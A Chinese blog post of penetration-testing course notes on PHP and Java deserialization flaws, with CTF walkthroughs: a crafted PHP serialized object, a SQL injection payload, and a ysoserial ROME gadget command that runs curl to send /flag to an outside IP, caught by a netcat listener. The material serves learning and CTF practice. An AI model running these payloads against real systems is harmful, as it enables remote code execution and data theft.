当前位置:   article > 正文

WEB漏洞-反序列化之PHP&JAVA_反序列化 php序列化后的内容 java

反序列化 php序列化后的内容 java

 免责声明: 本内容仅为【小迪安全-web渗透测试】的学习笔记,仅用于技术研究,禁止使用文章中的技术进行非法行为,如利用文章中技术进行非法行为造成的后果与本文作者无关。

序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

一、PHP反序列化

在这里插入图片描述

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

  • __construct()//创建对象时触发
  • __destruct() //对象被销毁时触发
  • __call() //在对象上下文中调用不可访问的方法时触发
  • __callStatic() //在静态上下文中调用不可访问的方法时触发
  • __get() //用于从不可访问的属性读取数据
  • __set() //用于将数据写入不可访问的属性
  • __isset() //在不可访问的属性上调用isset()或empty()触发
  • __unset() //在不可访问的属性上使用unset()时触发
  • __invoke() //当脚本尝试将对象调用为函数时触发

在这里插入图片描述

例一:

  1. <?php
  2. error_reporting(0);
  3. include "flag.php";
  4. $KEY = "liuyifei";
  5. $str = $_GET['str'];
  6. if (unserialize($str) === "$KEY")
  7. {
  8. echo "$flag";
  9. }
  10. show_source(__FILE__);
  11. class ABC{
  12. public $test;
  13. function __construct(){
  14. $test =1;
  15. echo '调用了构造函数<br>';
  16. }
  17. function __destruct(){
  18. echo '调用了析构函数<br>';
  19. }
  20. function __wakeup(){
  21. echo '调用了苏醒函数<br>';
  22. }
  23. }
  24. echo '创建对象a<br>';
  25. $a = new ABC;
  26. echo '序列化<br>';
  27. $a_ser=serialize($a);
  28. echo '反序列化<br>';
  29. $a_unser = unserialize($a_ser);
  30. echo '对象快要死了!';
  31. ?>

例二:

  1. 首先ctf命名及代码函数unserialize判断反序列化知识点
  2. 第一:获取flag存储flag.php
  3. 第二:两个魔术方法__destruct __construct
  4. 第三:传输str参数数据后触发destruct,存在is_valid过滤
  5. 第四:__destruct中会调用process,其中op=1写入及op=2读取
  6. 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
  7. <?php
  8. class FileHandler{
  9. public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读
  10. public $filename="flag.php";//文件开头调用的是flag.php
  11. public $content="xd";
  12. }
  13. $flag = new FileHandler();
  14. $flag_1 = serialize($flag);
  15. echo $flag_1;
  16. ?>
  17. 涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过
  18. 使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
  19. __destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1
  20. process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),
  21. 因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。
  22. is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,
  23. 因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,
  24. 使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

二、JAVA反序列化

在这里插入图片描述


在这里插入图片描述

例: 2020-网鼎杯-朱雀组-Web-think_java真题复现

下方的特征可以作为序列化的标志参考:

  • rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
  • aced开头,那么他就是这一段Java序列化的16进制。

0x01 注入判断,获取管理员帐号密码:
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:

  1. POST /common/test/sqlDict
  2. dbName=myapp?a=' union select (select pwd from user)#

0x02 接口测试
/swagger-ui.html接口测试:

  1. {
  2. "password":"ctfhub_29588_13038",
  3.   "username": "ctfhub"
  4. }

登录成功返回数据:

  1. {  
  2. "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==",  
  3. "msg": "登录成功",  
  4. "status": 2,  
  5. "timestamps": 1594549037415
  6. }

0x03 回显数据分析攻击思路
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么就是这一段java序列化的16进制。

分析数据:
先利用py2脚本base64解密数据

  1. import base64
  2. a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
  3. b = base64.b64decode(a).encode('hex')
  4. print(b)

再利用SerializationDumper解析数据
java -jar SerializationDumper.jar base64后的数据

0x04 生成反序列化payload
解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin

利用py2脚本进行反序列化数据的提取

  1. import base64
  2. file = open("xiaodi.bin","rb")
  3. now = file.read()
  4. ba = base64.b64encode(now)
  5. print(ba)
  6. file.close()

0x05 触发反序列化,获取flag
服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作

涉及资源:
http://www.dooccn.com/php/
https://www.ctfhub.com/\#/challenge
https://ctf.bugku.com/challenges\#flag.php
https://cgctf.nuptsast.com/challenges\#Web
https://www.cnblogs.com/20175211lyz/p/11403397.html
https://github.com/frohoff/ysoserial/releases
https://github.com/WebGoat/WebGoat/releases
https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12


来自:

https://www.daimajiaoliu.com/daima/7b73c88186d1800
http://www.qishunwang.net/news_show_5864.aspx

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/133003
推荐阅读
相关标签
  

闽ICP备14008679号